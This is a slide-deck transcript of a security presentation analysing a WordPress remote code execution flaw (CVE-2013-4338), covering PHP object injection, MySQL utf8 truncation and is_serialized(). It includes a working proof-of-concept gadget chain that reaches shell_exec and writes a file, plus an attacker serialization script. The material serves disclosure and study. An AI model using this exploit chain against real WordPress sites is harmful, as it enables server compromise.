PHP Object Injection Vulnerability in WordPress: an Analysis
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This document summarizes a presentation about remote code execution in WordPress. It discusses how PHP object injection can allow arbitrary code execution by abusing PHP's unserialize function. It explains how a vulnerability in WordPress' user meta data serialization could allow storing a serialized PHP object in the database that executes code upon unserialization. The presentation provides details on UTF-8 encoding issues in MySQL that can be leveraged as part of an exploit. It then demonstrates a proof-of-concept exploit that uses custom PHP classes to write a file upon page load via callback functions.
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PHP Object Injection Vulnerability in WordPress: an Analysis
- 1. Remote code execution in WordPress By Tom Van Goethem
- 2. About me ❖ Tom Van Goethem ❖ PhD Student at ❖ Security Researcher ❖ Blogger — http://vagosec.org ❖ — @tomvangoethem 2
- 3. Agenda ❖ WordPress ❖ PHP Object Injection ❖ UTF-8 and MySQL ❖ Vulnerability ❖ Exploit ❖ Demo 3
- 4. WordPress ❖ Free and open source web blogging system and CMS ❖ PHP, MySQL ❖ Plugin & template architecture ❖ 60,000,000 websites ❖ aprox. 19% of top 10mil 4
- 5. WordPress ❖ 510 vulnerabilities since 2004 ❖ Most from plugins ❖ 2013: 16 vulnerabilities ❖ CVE-2013-4338 5
- 6. CVE-2013-4338 6 wp-‐includes/functions.php in WordPress before 3.6.1 does not properly determine whether data has been serialized, which allows remote attackers to execute arbitrary code by triggering erroneous PHP unserialize operations.
- 7. PHP Object Injection ❖ PHP’s unserialize() can instantiate objects ❖ Some “magic methods” are executed on instantiation/when printed/... ❖ Passing user-input to PHP’s unserialize() may have disastrous effects 7
- 8. PHP Object Injection 8 <?php! class File {! ! public $file;! ! ! function __construct($file) {! ! ! $this->file = $file;! ! }! ! function __destruct() {! ! ! unlink($this->file);! ! }! ! function __toString() {! ! ! $fh = fopen($this->file, 'r');! ! ! $r = fread($fh, filesize($this->file));! ! ! return $r;! ! }! ! // ...! }! ?>
- 9. PHP Object Injection 9 <?php! require_once('File.php');! $in = $_GET['in'];! $obj = unserialize($in);! echo '<h1>' . $obj . '<h1>';! ?> <?php! require_once('File.php');! $obj = new File('secret.txt');! $payload = serialize($obj);! echo $payload;! ?> victim.php attacker.php
- 12. UTF-8 ❖ In the beginning... there was ASCII ‣ American Standard Code for Information Interchange ‣ 7 bits ‣ 127 characters ❖ I 💖 Москва ❖ Support for many other characters needed 12
- 13. UTF-8 ❖ Then came Unicode ‣ maps more than 100,000 characters to a number ‣ still requires encoding ❖ UTF-8 ‣ backwards compatible with ASCII ‣ 1-4 bytes long ‣ supports code points U+0000 to U+10FFFF ! I 💖 Москва = U+0049 U+0020 U+1F496 U+0020 U+041C U+043E ... I = 01001001 💖 = 11110000 10011111 10010010 10010110 13
- 15. UFT-8 and MySQL ❖ MySQL has utf8 charset ‣ All we need, right? 15
- 16. UFT-8 and MySQL 16 CREATE SCHEMA utf8test DEFAULT CHARACTER SET utf8;! ! CREATE TABLE utf8test.utf8test_table (! utf8test_column VARCHAR(255) CHARACTER SET 'utf8' NULL)! DEFAULT CHARACTER SET = utf8;! ! INSERT INTO utf8test_table (utf8test_column) VALUES ('I love Москва');! # Query OK, 1 row affected (0.00 sec)! ! INSERT INTO utf8test_table (utf8test_column) VALUES ('I 💖 Москва');! # Query OK, 1 row affected, 1 warning (0.00 sec)! ! SHOW WARNINGS;! # Incorrect string value: 'xF0x9Fx92x96 xE3...' for column 'utf8test_column' at row 1! ! SELECT * FROM utf8test.utf8test_table;! # +--------------------+! # | utf8test_column |! # +--------------------+! # | I love Москва |! # | I |! # +--------------------+
- 17. UFT-8 and MySQL ❖ From MySQL Reference Manual: ! ❖ MySQL’s utf8 supports U+0000 to U+FFFF ❖ What with U+10000 to U+10FFFF? ‣ MySQL’s behavior: depends on character set ➡ with utf8: drop character and everything that follows 17
- 19. Vulnerability ❖ WordPress user-meta data can be serialized ❖ user-meta? ‣ first name, last name, contact info, ... ‣ stored in wp_usermeta (default charset utf8) ❖ can be serialized? ‣ normal string → normal string ‣ object → serialize(object) ‣ serialized string → serialize(serialized string) 19
- 20. Vulnerability ❖ When stored in DB, content is serialized ‣ only if is_serialized() returns true ❖ When retrieved from DB, content is unserialized ‣ only if is_serialized() returns true 20
- 21. 21 function is_serialized($data) {! ! // if it isn't a string, it isn't serialized! ! if (!is_string($data)) { return false; }! ! $data = trim($data);! ! if ('N;' == $data) { return true; }! ! $length = strlen($data);! ! if ($length < 4) { return false; }! ! if (':' !== $data[1]) { return false; }! ! $lastc = $data[$length-1];! ! if (';' !== $lastc && '}' !== $lastc) { return false; }! ! $token = $data[0];! ! switch ($token) {! ! ! case 's' :! ! ! ! if ('"' !== $data[$length-2]) { return false; }! ! ! case 'a' :! ! ! case 'O' :! ! ! ! return (bool) preg_match("/^{$token}:[0-9]+:/s", $data);! ! ! case 'b' :! ! ! case 'i' :! ! ! case 'd' :! ! ! ! return (bool) preg_match("/^{$token}:[0-9.E-]+;$/", $data);! ! }! ! return false;! }!
- 22. Vulnerability ❖ What we need: ‣ when inserted in DB, is_serialized() should return false ‣ when retrieved from DB, is_serialized() should return true ❖ Let’s put one and one together ‣ append 4-byte UTF-8 character to serialized string ‣ is_serialized() returns false: ‣ when stored in DB: last character dropped ‣ when retrieved: is_serialized() returns true ‣ unserialize() is called on arbitrary user-content 22 if (';' !== $lastc && '}' !== $lastc) return false;
- 24. Vulnerability 24
- 25. Exploit ❖ Vulnerability: ✓ ❖ Needed for a working exploit: ‣ class with “useful” magic method ➡ __destruct(), __toString(), __wakeup()! ‣ is included at right time ❖ Not found in WordPress core... 25
- 26. Exploit ❖ ...anything you can imagine... ☺ 26
- 27. 27
- 28. Exploit 28
- 29. 29 class simple_html_dom_node {! function __construct($dom) {! $this->dom = $dom;! $dom->nodes[] = $this;! }! function __destruct() {! $this->clear();! }! function __toString() {! return $this->outertext();! }! function outertext() {! // ...! if ($this->dom && $this->dom->callback!==null) {! call_user_func_array($this->dom->callback, array($this));! }! // ...! }! // ...! }
- 30. 30 final class WP_Screen {! public function render_screen_meta() {! // ...! foreach ($this->_help_tabs as $tab):! if (!empty($tab['callback']))! call_user_func_array($tab['callback'], array($this, $tab));! endforeach;! }! // ...! } function wp_generate_tag_cloud($tags, $args = '') {! // ...! $args = wp_parse_args($args, $defaults);! extract($args);! // ...! foreach ((array) $tags as $key => $tag) {! $real_counts[$key] = $tag->count;! $counts[$key] = $topic_count_scale_callback($tag->count);! }! // ...! }
- 31. 31
- 32. 32 class simple_html_dom_node {! ! private $dom;! ! public function __construct() {! ! ! $callback = array(new WP_Screen(), 'render_screen_meta');! ! ! $this->dom = (object) array('callback' => $callback);! ! }! }! class WP_Screen {! ! private $_help_tabs;! ! public $action;! ! function __construct() {! ! ! $count = array('count' => 'echo "pwned!" > /tmp/pwned.txt');! ! ! $this->action = (object) $count;! ! ! $this->_help_tabs = array(array(! ! ! ! 'callback' => 'wp_generate_tag_cloud', ! ! ! ! 'topic_count_scale_callback' => 'shell_exec'));! ! }! }! echo serialize(new simple_html_dom_node()).'💖';
- 33. Demo 33